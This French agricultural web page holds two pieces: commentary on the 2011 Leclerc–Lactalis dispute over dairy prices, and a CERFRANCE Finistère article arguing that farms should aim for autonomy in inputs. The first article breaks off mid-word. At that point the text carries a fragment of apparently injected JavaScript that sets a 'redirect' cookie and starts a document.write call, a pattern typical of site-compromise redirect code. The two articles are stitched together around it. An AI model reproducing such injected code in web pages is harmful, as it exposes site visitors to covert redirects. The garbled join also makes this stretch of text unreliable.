Un bras de fer entre LECLERC et LACTALIS qui pourrait durer

Avec respectivement plus de 20% de la collecte laitière en France, et près de 18% de part de marché dans la grande distribution, LACTALIS et LELCLERC se livrent un combat dans la catégorie poids lourds ; L’un refusant de livrer l’autre ou l’autre refusant de commercialiser l’un …   selon les sources.

 Un épisode semblable avait déjà eu lieu en 2007 lors de la précédente flambée des produits laitiers. Depuis le début mars 2011, les consommateurs ne trouvent donc plus dans les linéaires des centres Leclerc la gamme des produits Lactalis.

 Chacun utilisant des arguments plus ou moins pédagogiques :

 –   Michel Edouard LECLERC refusant les hausses de prix demandées par Lactalis  qui sont jugées excessives en comparaison des autres industriels laitiers. S’érigeant en défenseur du pouvoir d’achat du consommateur, les centres Leclerc s’offrent en même temps une publicité à bon compte.

Si le président des magasins LECLERC est un bon communiquant dans les sphères médiatiques, la communication a également été très bien diffusée en interne si on en juge par l’explication de texte que vous pouvez obtenir  auprès des hôtesses de caisse. Du grand professionnalisme !  

Mais, n’en déplaisent à certains, Mr LECLERC est dans son rôle de commerçant de la grande distribution : Acheter le moins cher possible, pour vendre au meilleur prix (par rapport à la concurrence) tout en préservant ses marges, et gagner des parts de marché ce que les établissements LECLERC ne manquent pas de faire selon les données de Kantar, que LSA s’est procurées (« Leclerc, encore une fois, caracole en tête des enseignes, avec une part de marché en hausse de 0,8 point, lors des quatre premières semaines de 2011 ».) La stratégie de LECLERC et ses intérêts ne sont donc pas incompatibles avec le discours « publicitaire » de défense du pouvoir d’achat.

 –   Emmanuel BESNIER, PDG de Lactalis, fort de ses marques et de son poids dans la collecte, semble le seul dans la filière laitière à être en mesure de livrer une telle bataille. Cette jauge du véritable rapport de force entre les deux groupes dépasse le court terme et pèsera forcément dans les futures négociations. Sur certains  produits , la part de marché de LACTALIS est davantage concentrée que la grande distribution : Sur le lait UTH, hors MDD (Marque de distributeurs) , SODIAAL avec la marque CANDIA et Lactalis avec LACTEL réalisent près de 70% du volume selon LINEAIRE (fév 2010). Si à travers cette guerre commerciale, LACTALIS peut prétendre du même coup défendre les producteurs de lait, en répercutant les hausses de prix payé au producteur passées et à venir sur l’année 2011 compte tenu de la tenue des cours sur le marché mondial, il joue néanmoins une partie importante.

 S’il semble difficile pour LACTALIS de se passer sur le moyen terme de près de 20% de la distribution, il n’est pas forcément « perdant ». à court terme. Compte tenu des cours actuels des produits industriels laitiers (beurre et poudre), la flexibilité sur le prix du lait est devenue positive. Si ses capacités de transformation le lui permettent, LACTALIS peut donc tenir cette posture sans y perdre financièrement : Faire du beurre et de la poudre plutôt que du Camembert.

 Au final , le dernier mot pourrait revenir comme souvent au consommateur. Chaque acteur ayant pris un risque dans ce jeu de poker menteur :

Pour LECLERC, quel sera l’impact de cette stratégie  sur la fréquentation de ses magasins: Combien de consommateurs changeront de crémerie pour trouver leur roquefort société ou leur camembert président ? et Combien viendront chez lui puisqu’il semble garantir les prix les plus bas ? Les directeurs de magasins auront bientôt la réponse.

 Pour LACTALIS, Quel sera l’impact réel de perte de part de marché sur ses produits de marques et lorsqu’il retrouvera les linéaires de l’enseigne de Leclerc : combien de temps mettra-t-il à retrouver son rang dans les supermarchés LECLERC ?

Dans cette période de mise en place de la contractualisation dans la filière laitière, cet épisode illustre une nouvelle fois  que les contrats ne remplaceront pas la régulation. Qu’il s’agisse des relations entre producteurs et industriels d’une part, ou entre transformateurs et distributeurs d’autres parts, les négociations commerciales se feront sur la base du marché dans un rapport de force. Du côté des pouvoirs publics, ces derniers pourraient rapidement être tiraillés entre la volonté de rééquilibrer la chaine alimentth.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write(‘

Systèmes d’exploitation, visez l’autonomie et la performance

La hausse du coût des intrants donne plus d’importance à la performance technique.

Face à la crise agricole, les filières françaises ont souvent été mises à l’index de la compétitivité par rapport à nos voisins européens, notamment pour la productivité de la main-d’œuvre. Le moyen prôné pour améliorer le revenu des producteurs est l’agrandissement. C’est oublier un peu vite que, face à une hausse du prix des matières premières, la performance technique et l’autonomie des exploitations sont des préalables. De fait, tout agrandissement doit d’abord permettre d’améliorer cette technicité.

Stagnation des prix

La Pac de 1992 s’est accompagnée de la baisse du coût des concentrés et d’une stagnation du prix des produits agricoles.

Depuis plusieurs années, l’agriculture subit deux grandes tendances. Premièrement, une quasi stagnation des prix en euros courants, voire une diminution compensée en partie par les aides Pac. Deuxièmement, la hausse d’un certain nombre de charges parmi lesquelles les services, l’énergie (fuel, carburant, électricité…) et la baisse d’autres charges comme les concentrés. Ceci a entraîné une baisse des marges brutes hors primes et une diminution de la valeur ajoutée des exploitations. Ces dernières ont entrepris de s’adapter en s’agrandissant et en augmentant la productivité de la main-d’œuvre.

Retournement de tendance

 Or, depuis 2008, l’agriculture est confrontée à un retournement de tendance, avec la hausse cyclique des matières premières (céréales, aliments, fuel…) et une baisse ou une stagnation des prix du lait, du porc, des bovins. Au terme des 2 ou 3 derniers exercices comptables, le constat est sans appel. Quand seul le prix de vente varie, chaque agriculteur subit la même variation de revenu. Quand les charges flambent, les systèmes «les plus voraces» en intrants divisent, par 2 ou 3, la valeur ajoutée dégagée par l’exploitation.

Cette baisse est telle que la situation financière se dégrade très vite, et n’est plus redressable sur les années qui suivent.

Les systèmes de demain seront donc les plus autonomes en intrants. La technicité est de plus en plus incontournable. Et certains critères revêtent un poids primordial : IC et coût alimentaire en porc, g de concentré/litre de lait, GMQ en viande bovine…

Des agrandissements structurants

Face à la crise agricole qui touche l’ensemble des productions, l’agrandissement pour augmenter la productivité de la main d’œuvre est souvent mis en avant. Mais dans l’environnement économique actuel, la première question à se poser est : «mon projet  permet-il de maintenir voire d’améliorer la valeur ajoutée par 1 000 litres, par 100 kg de porc ?» Si la réponse est «non», il faudra y regarder à deux fois avant de le concrétiser. La base d’un système laitier, bovin, ou porcin est aujourd’hui le parcellaire. À partir de ce parcellaire, est-ce que le projet rend l’exploitation plus autonome ? Est-ce qu’il permet d’améliorer le coût alimentaire, d’organiser le temps de travail, de limiter le besoin en puissance et en carburant ?

De nombreux exemples montrent que, si cette logique n’est pas respectée, le résultat économique n’est pas au rendez-vous. Les agrandissements se gèrent aujourd’hui en termes d’opportunités et ce, d’autant, que la réglementation française ne facilite pas toujours les agrandissements structurants.

Anne-Yvonne Hénot

CERFRANCE Finistère